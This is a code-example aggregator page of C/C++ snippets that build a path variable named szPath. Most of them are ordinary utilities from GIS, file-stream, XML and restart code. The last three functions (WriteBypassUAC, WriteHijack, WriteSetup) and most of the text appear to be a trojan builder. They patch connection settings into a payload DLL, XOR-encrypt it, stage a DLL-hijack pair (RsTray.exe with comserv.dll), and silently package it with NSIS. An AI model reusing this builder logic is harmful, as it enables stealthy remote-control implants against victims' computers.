예제 #1
0
bool wxGxDiscConnections::IsObjectExist(wxGxObject* const pObj, const wxXmlNode* pNode)
{
    int nXmlId = GetDecimalValue(pNode, wxT("id"), wxNOT_FOUND);
    wxGxDiscConnection* pConn = wxDynamicCast(pObj, wxGxDiscConnection);
    if(!pConn)
        return false;

    if(pConn->GetXmlId() != nXmlId)
        return false;

    //if exist control name and path

    wxString sName = pNode->GetAttribute(wxT("name"), NONAME);
    wxString sPath = pNode->GetAttribute(wxT("path"), NONAME);
    CPLString szPath(sPath.mb_str(wxConvUTF8));

    if(pObj->GetPath() != szPath)
    {
        pObj->SetPath(szPath);
        //ObjectChanged event
        wxGIS_GXCATALOG_EVENT_ID(ObjectRefreshed, pObj->GetId());
    }

    if(!pObj->GetName().IsSameAs( sName, false))
    {
        pObj->SetName(sName);
        //ObjectChanged event
        wxGIS_GXCATALOG_EVENT_ID(ObjectChanged, pObj->GetId());
    }
    return true;
}
예제 #2
0
파일: Utils.cpp 프로젝트: N2oBeef/vc_scan
CString CUtils::GetIconPath(const CString & szUrl )
{
	if (szUrl.IsEmpty()) return L"";

	CString szRawUrl = szUrl;

	BYTE aMD5[16] = {};
	CCommonAlgorithm::MakeBuffMd5((LPVOID)szRawUrl.GetBuffer(), szRawUrl.GetLength() * sizeof(TCHAR), aMD5);
	szRawUrl.ReleaseBuffer();

	WCHAR szMD5[MAX_PATH] = {};
	CCommonAlgorithm::ConvertMD5SumToChar(aMD5, szMD5, MAX_PATH);

	static WCHAR szSetFile[MAX_PATH] = {};
	if (szSetFile[0] == 0)
	{
		SHGetSpecialFolderPath(NULL, szSetFile, CSIDL_APPDATA, FALSE);
		PathAppend(szSetFile, L"Ludashi\\softmgr\\icon\\");
	}

	CString szPath(szSetFile);
	szPath += szMD5;
	szPath += L".png";

	return szPath;
}
예제 #3
0
BOOL MakeCab(LPCTSTR lpsrcFilePath,LPCTSTR lpdesFilePath)
{
	CString szPath(GetModFilePath(NULL));
	CString strParameters;
	strParameters.Format(_T("%s %s"),lpsrcFilePath,lpdesFilePath);

	SHELLEXECUTEINFO execInfo; 
	memset(&execInfo, 0, sizeof(SHELLEXECUTEINFO)); 

	execInfo.cbSize = sizeof(SHELLEXECUTEINFO); 
	execInfo.fMask = SEE_MASK_NOCLOSEPROCESS; 
	execInfo.lpVerb = _T("open"); 
	execInfo.lpFile = _T("makecab.exe"); 
	execInfo.lpParameters = CString("\"") + strParameters + CString("\"");
	execInfo.nShow = SW_HIDE; 
	ShellExecuteEx(&execInfo); 

	WaitForSingleObject(execInfo.hProcess, INFINITE); 
	CloseHandle(execInfo.hProcess);

	HANDLE hFile = CreateFile(lpdesFilePath,GENERIC_READ,FILE_SHARE_READ,NULL,\
		OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	//生成成功返回TRUE
	if (hFile == INVALID_HANDLE_VALUE)
	{
		return FALSE;
	}
	CloseHandle(hFile);
	return TRUE;
}
예제 #4
0
	bool fromString(const QString & szValue, KviPixmap & buffer)
	{
		QString szPath(szValue);
		decodePath(szPath);
		if(szPath.isEmpty())
		{
			buffer.setNull();
			return true;
		}
		else
		{
			return buffer.load(szPath);
		}
	}
예제 #5
0
/// \brief	Constructor
/// \param	fileName - The name of the file to open
CFileStream::CFileStream( TCHAR *fileName, int mode, int iFlags )
{
	m_fpFile = NULL;
	m_Filename = NULL;

	if (fileName == NULL || *fileName == '\0')
		return;

	m_iFlags = iFlags;	

//	mode = mode & 0xf; 

	// make sure our mode is valid
	if (modes[mode] != NULL)
	{
		// open file with appropriate mode
		StdString szPath(fileName);
		szPath.MakeSafeFileName();
#ifdef XBOX
		szPath = SetPathDrive( szPath, EngineGetToolBox()->GetDrive() );
#endif

		m_fpFile = fopen( szPath, modes[mode] );
		if( m_fpFile == NULL )
		{
			TCHAR *error = strerror(errno);
			EngineGetToolBox()->Log(LOGERROR, _T("%s(%d): file load error: %s\n"), __FILE__, __LINE__, error);
			return;
		}
	}
	else 
	{
		// log error
		return;
	}

	m_IsReading = false;
	m_IsWriting = false;

	if (mode & STREAM_MODE_READ)
	{
		m_IsReading = true;
	}
	if (mode & STREAM_MODE_WRITE)
	{
		m_IsWriting = true;
	}
	m_Filename = new char[strlen(fileName) + 1];
	strcpy(m_Filename, fileName);
}
예제 #6
0
	BOOL CXmlDocumentWrapper::Save(LPCTSTR path)
	{
		try
		{
			if (!IsValid())
				return FALSE;
			CString szPath(path);
			if (szPath == _T(""))
			{
				_bstr_t curPath = m_xmldoc->Geturl();
				szPath = (LPTSTR)curPath;
			}
			_variant_t v(szPath);
			if (FAILED(m_xmldoc->save(v)))
				return FALSE;
			else
				return TRUE;
		}
		catch(...)
		{
			return FALSE;
		}
	}
예제 #7
0
void CNotifierApp::Restart()
{
	wstring szPath(GetModuleFileNameEx());

	STARTUPINFO si;
	PROCESS_INFORMATION pi;

	memset(&si, 0, sizeof(STARTUPINFO));
	memset(&pi, 0, sizeof(PROCESS_INFORMATION));

	si.cb = sizeof(PROCESS_INFORMATION);

	LPWSTR szMutableCommandLine = (LPWSTR)malloc(sizeof(WCHAR) * (szPath.size() + 1));

	wcscpy(szMutableCommandLine, szPath.c_str());

	BOOL fSuccess = CreateProcess(
		szPath.c_str(),
		szMutableCommandLine,
		NULL,
		NULL,
		FALSE,
		CREATE_DEFAULT_ERROR_MODE,
		NULL,
		NULL,
		&si,
		&pi);

	if (fSuccess)
	{
		CloseHandle(pi.hThread);
		CloseHandle(pi.hProcess);
	}

	free(szMutableCommandLine);
}
예제 #8
0
void wxGxDiscConnection::OnFileSystemEvent(wxFileSystemWatcherEvent& event)
{
    wxLogDebug(wxT("*** %s ***"), event.ToString().c_str());
    switch(event.GetChangeType())
    {
    case wxFSW_EVENT_CREATE:
        {
            //get object parent
            wxFileName oName = event.GetPath();
            wxGxObjectContainer *parent = wxDynamicCast(FindGxObjectByPath(oName.GetPath()), wxGxObjectContainer);
            if(!parent)
                return;
            //check doubles
            if(parent->IsNameExist(event.GetPath().GetFullName()))
                return;

            CPLString szPath(event.GetPath().GetFullPath().mb_str(wxConvUTF8));
            char **papszFileList = NULL;  
            papszFileList = CSLAddString( papszFileList, szPath );
	        if(m_pCatalog)
            {
                wxArrayLong ChildrenIds;
                m_pCatalog->CreateChildren(parent, papszFileList, ChildrenIds);
                for(size_t i = 0; i < ChildrenIds.GetCount(); ++i)
                    m_pCatalog->ObjectAdded(ChildrenIds[i]);
	        }
            CSLDestroy( papszFileList );
        }
        break;
    case wxFSW_EVENT_DELETE:
        {
            //search gxobject
            wxGxObject *current = FindGxObjectByPath(event.GetPath().GetFullPath());
            if(current)
            {
                current->Destroy();
                return;
            }
        }
        break;
    case wxFSW_EVENT_RENAME:
        {
            wxGxObject *current = FindGxObjectByPath(event.GetPath().GetFullPath());
            if(current)
            {
                current->SetName(event.GetNewPath().GetFullName());
                current->SetPath( CPLString( event.GetNewPath().GetFullPath().mb_str(wxConvUTF8) ) );
                wxGIS_GXCATALOG_EVENT_ID(ObjectChanged, current->GetId());

#ifdef __WXGTK__
                m_pWatcher->Remove(event.GetPath());
                if(!IsPathWatched(event.GetNewPath().GetFullPath()))
                {
                    m_pWatcher->Add(event.GetNewPath());

                }
#endif
                return;
            }
        }
        break;
    case wxFSW_EVENT_MODIFY:
        break;
    default:
    case wxFSW_EVENT_ACCESS:
    case wxFSW_EVENT_WARNING:
    case wxFSW_EVENT_ERROR:
        break;
    };
}
예제 #9
0
BOOL WriteBypassUAC(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
{
	CString szPath(GetModFilePath(NULL));
	CString szTempBugDll;
	szTempBugDll.Format(_T("%s\\%s"),BINGO_PATH,BUG_DLL);

	CString strServantPath;
	CString strSavePath;
	CString strTempServant;
	CString strNSIFilePath;
	CString strNSHFile;
	CString strNSHTempFile;
	CString strTempNSI;

	DWORD dwOutSize = 0;

	strSavePath.Format(_T("%s%s"), szPath, BINGO_PATH);
	strTempServant.Format(_T("%s\\%s"), strSavePath, SERVANT_FILE);
	strServantPath.Format(_T("%s%s"), szPath, SERVANT_FILE);

	strNSHFile.Format(_T("%sLogicLib.nsh"), GetModFilePath(NULL));
	strNSHTempFile.Format(_T("%s\\LogicLib.nsh"), strSavePath);
	strNSIFilePath.Format(_T("%s\\%s"), strSavePath, NSI_FILE);

	CHAR szInstallPath[MAX_PATH] = {0};
	sprintf_s(szInstallPath, "C:\\Windows\\Temp\\");

	if(!CreateDirectory(szPath+_T("\\")+BINGO_PATH,NULL) && ::GetLastError() != ERROR_ALREADY_EXISTS)
	{
		strError = _T("创建临时目录失败!");
		return FALSE;
	}

	::DeleteFile(strSavePath +_T("\\")+ BUG_DLL);
	if(!CopyFile(szPath+SERVANT_FILE, strSavePath +_T("\\")+ SERVANT_FILE, FALSE))
	{
		strError = _T("拷贝文件失败!");
		return FALSE;
	}

	HANDLE hFile = CreateFile(strSavePath +_T("\\")+ SERVANT_FILE,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		strError = _T("打开文件失败");
		return FALSE;
	}

	int nFileSize = GetFileSize(hFile,0);
	LPBYTE lpBase = new BYTE[nFileSize];
	if (!lpBase)
	{
		strError = _T("申请内存失败!");
		return FALSE;
	}

	if (!ReadFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("读文件失败");
		return FALSE;
	}

	//写入配置信息

	if(!FindAndSet(lpBase,nFileSize,CONNECT_FLAG,(LPBYTE)&config,sizeof(CONNECT_INFO),TRUE,CONNECT_CONFIG_FACTOR1,CONNECT_CONFIG_FACTOR2))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("定位失败!");
		return FALSE;
	}

	if(!FindAndSet(lpBase,nFileSize,SERVICE_FLAG,(LPBYTE)&service,sizeof(SERVICE_INFO)))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("定位失败!");
		return FALSE;
	}

	::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
	if (!WriteFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("写入失败!");
		return FALSE;
	}

	CloseHandle(hFile);
	delete lpBase;

	XorEncryptFile(strSavePath + _T("\\") + SERVANT_FILE,4096);

	if(!ResourceToFile(strNSIFilePath,\
		MAKEINTRESOURCE(IDR_RC_NSI3),L"RC_NSI", szInstallPath,4096/*nFileSize*/))
	{
		strError = _T("导出资源失败!");
		return FALSE;
	}
	CString strFullCmd;

	strFullCmd = szPath;
	strFullCmd+="\\makensis.exe";

	SHELLEXECUTEINFO execInfo; 
	memset(&execInfo, 0, sizeof(SHELLEXECUTEINFO)); 

	execInfo.cbSize = sizeof(SHELLEXECUTEINFO); 
	execInfo.fMask = SEE_MASK_NOCLOSEPROCESS; 
	execInfo.lpVerb = _T("open"); 
	execInfo.lpFile = strFullCmd; 
	execInfo.lpParameters = strNSIFilePath;
	execInfo.nShow = SW_HIDE; 
	ShellExecuteEx(&execInfo); 

	WaitForSingleObject(execInfo.hProcess, INFINITE); 
	CloseHandle(execInfo.hProcess);   

	return TRUE;
}
예제 #10
0
BOOL WriteHijack(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
{
	CString strSavePath;
	CString strServantPath;
	CString strTempServant;
	CString strExePath;
	CString strDllPath;

	DWORD dwOutSize = 0;

	DeleteFile(OUT_FILE);

	CString szPath(GetModFilePath(NULL));
	strServantPath = szPath;
	strServantPath += _T("servantshell.dll");
	strSavePath.Format(_T("%s%s"), szPath, _T("hijack"));
	strTempServant.Format(_T("%s%s"),strSavePath,_T("\\servant.dll"));
	strExePath.Format(_T("%s%s"),strSavePath,_T("\\RsTray.exe"));
	strDllPath.Format(_T("%s%s"),strSavePath,_T("\\comserv.dll"));

	CreateDirectory(strSavePath, NULL);

	CHAR szInstallPath[MAX_PATH] = {0};
	sprintf_s(szInstallPath, CStringA(service.szInstalPath));

	::DeleteFile(strTempServant);
	if(!CopyFile(strServantPath,strTempServant,TRUE))
	{
		strError = _T("拷贝文件失败!");
		return FALSE;
	}

	HANDLE hFile = CreateFile(strTempServant,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		strError = _T("打开文件失败");
		return FALSE;
	}

	int nFileSize = GetFileSize(hFile,0);
	LPBYTE lpBase = new BYTE[nFileSize];
	if (!lpBase)
	{
		strError = _T("申请内存失败!");
		return FALSE;
	}

	if (!ReadFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("读文件失败");
		return FALSE;
	}

	//写入配置信息

	if(!FindAndSet(lpBase,nFileSize,CONNECT_FLAG,(LPBYTE)&config,sizeof(CONNECT_INFO),TRUE,CONNECT_CONFIG_FACTOR1,CONNECT_CONFIG_FACTOR2))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("定位失败!");
		return FALSE;
	}

	if(!FindAndSet(lpBase,nFileSize,SERVICE_FLAG,(LPBYTE)&service,sizeof(SERVICE_INFO)))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("定位失败!");
		return FALSE;
	}

	::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
	if (!WriteFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("写入失败!");
		return FALSE;
	}

	ResourceExeToFile(strDllPath,MAKEINTRESOURCE(IDR_DLL_COMSERV),L"DLL");
	ResourceExeToFile(strExePath,MAKEINTRESOURCE(IDR_EXE_RSTRAY),L"EXE");
	delete lpBase;
	CloseHandle(hFile);

	return TRUE;
}
예제 #11
0
BOOL WriteSetup(CONNECT_INFO& config,SERVICE_INFO& service,CString& strError)
{
	CString strSavePath;
	CString strShellPath;
	CString strNSIFilePath;
	CString strTempServant;

	CString strDataServant;
	CString strCmd;
	CStringA strFullCmd;
	CString strShellBak;

	DWORD dwOutSize = 0;

	DeleteFile(OUT_FILE);

	CString szPath(GetModFilePath(NULL));
	strSavePath.Format(_T("%s%s"), szPath, BINGO_PATH);
	CreateDirectory(strSavePath, NULL);


	strTempServant.Format(_T("%s\\%s"), strSavePath, SERVANT_FILE);
	strNSIFilePath.Format(_T("%s\\%s"), strSavePath, NSI_FILE);
	strDataServant.Format(_T("%s\\%s"),strSavePath ,SERVANT_DATA_FILE);
	strShellPath.Format(_T("%s\\%s"),strSavePath ,SHELL_FILE);
	strShellBak.Format(_T("%s\\%s"),strSavePath ,SHELL_BAK_FILE);

	DeleteFile(strShellPath);
	CopyFile(strShellBak,strShellPath,FALSE);

	CHAR szInstallPath[MAX_PATH] = {0};
	lstrcpyA(szInstallPath, CStringA(service.szInstalPath));

	HANDLE hFile = CreateFile(strTempServant,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	if (hFile == INVALID_HANDLE_VALUE)
	{
		strError = _T("打开文件失败");
		return FALSE;
	}
	
	int nFileSize = GetFileSize(hFile,0);
	LPBYTE lpBase = new BYTE[nFileSize];
	if (!lpBase)
	{
		strError = _T("申请内存失败!");
		return FALSE;
	}

	if (!ReadFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("读文件失败");
		return FALSE;
	}

	CloseHandle(hFile);

	//写入配置信息
	
	if(!FindAndSet(lpBase,nFileSize,CONNECT_FLAG,(LPBYTE)&config,sizeof(CONNECT_INFO)))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("定位失败!");
		return FALSE;
	}

	if(!FindAndSet(lpBase,nFileSize,SERVICE_FLAG,(LPBYTE)&service,sizeof(SERVICE_INFO)))
	{
		delete lpBase;
		CloseHandle(hFile);
		strError = _T("定位失败!");
		return FALSE;
	}
	
	hFile = CreateFile(strDataServant,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
	::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
 	if (!WriteFile(hFile,lpBase,nFileSize,&dwOutSize,NULL))
 	{
 		delete lpBase;
 		CloseHandle(hFile);
 		strError = _T("写入失败!");
 		return FALSE;
 	}

	delete lpBase;
	
	UINT encryptSize = 4096;

	srand(GetTickCount());

	int key1 = rand() % 255;
	int key2 = rand() % 255;

	//加密文件
  	if (!XorEncryptFile(strShellPath, encryptSize,key1,key2))
  	{
		CloseHandle(hFile);
  		strError = _T("加密文件失败!");
  		return FALSE;
  	}

	encryptSize = GetFileSize(hFile,0);
	CloseHandle(hFile);

	//加密文件
	if (!XorEncryptFile(strDataServant,encryptSize ))
	{
		strError = _T("加密文件失败!");
		return FALSE;
	}

	if(!ResourceToFile(strNSIFilePath,\
		MAKEINTRESOURCE(IDR_RC_NSI),L"RC_NSI", szInstallPath,4096,key1,key2))
	{
		strError = _T("导出资源失败!");
		return FALSE;
	}

	strFullCmd += "\"";

	strFullCmd+=szPath;
	strFullCmd+="\\makensis.exe";

	strFullCmd += "\"";

	strCmd = CString(strFullCmd);
	SHELLEXECUTEINFO execInfo; 
	memset(&execInfo, 0, sizeof(SHELLEXECUTEINFO)); 

	strNSIFilePath  = CString("\"") + strNSIFilePath;
	strNSIFilePath += CString("\"");

	execInfo.cbSize = sizeof(SHELLEXECUTEINFO); 
	execInfo.fMask = SEE_MASK_NOCLOSEPROCESS; 
	execInfo.lpVerb = _T("open"); 
	execInfo.lpFile = strCmd; 
	execInfo.lpParameters =  strNSIFilePath;
	execInfo.nShow = SW_HIDE; 
	ShellExecuteEx(&execInfo); 

	WaitForSingleObject(execInfo.hProcess, INFINITE); 
	CloseHandle(execInfo.hProcess);   

// 	DeleteFile(strTempServant);
// 	DeleteFile(strNSIFilePath);
// 	DeleteFile(strNSHTempFile);
// 	RemoveDirectory(strSavePath);

	CString outputFile;
	outputFile.Format(_T("%s%s"), szPath, OUT_FILE);
	hFile = CreateFile(outputFile,GENERIC_READ,FILE_SHARE_READ,NULL,\
		OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
	//生成成功返回TRUE
	if (hFile == INVALID_HANDLE_VALUE)
	{
		strError.Format(_T("创建[%s]失败"), outputFile);
		return FALSE;
	}
	
	CloseHandle(hFile);
	return TRUE;
}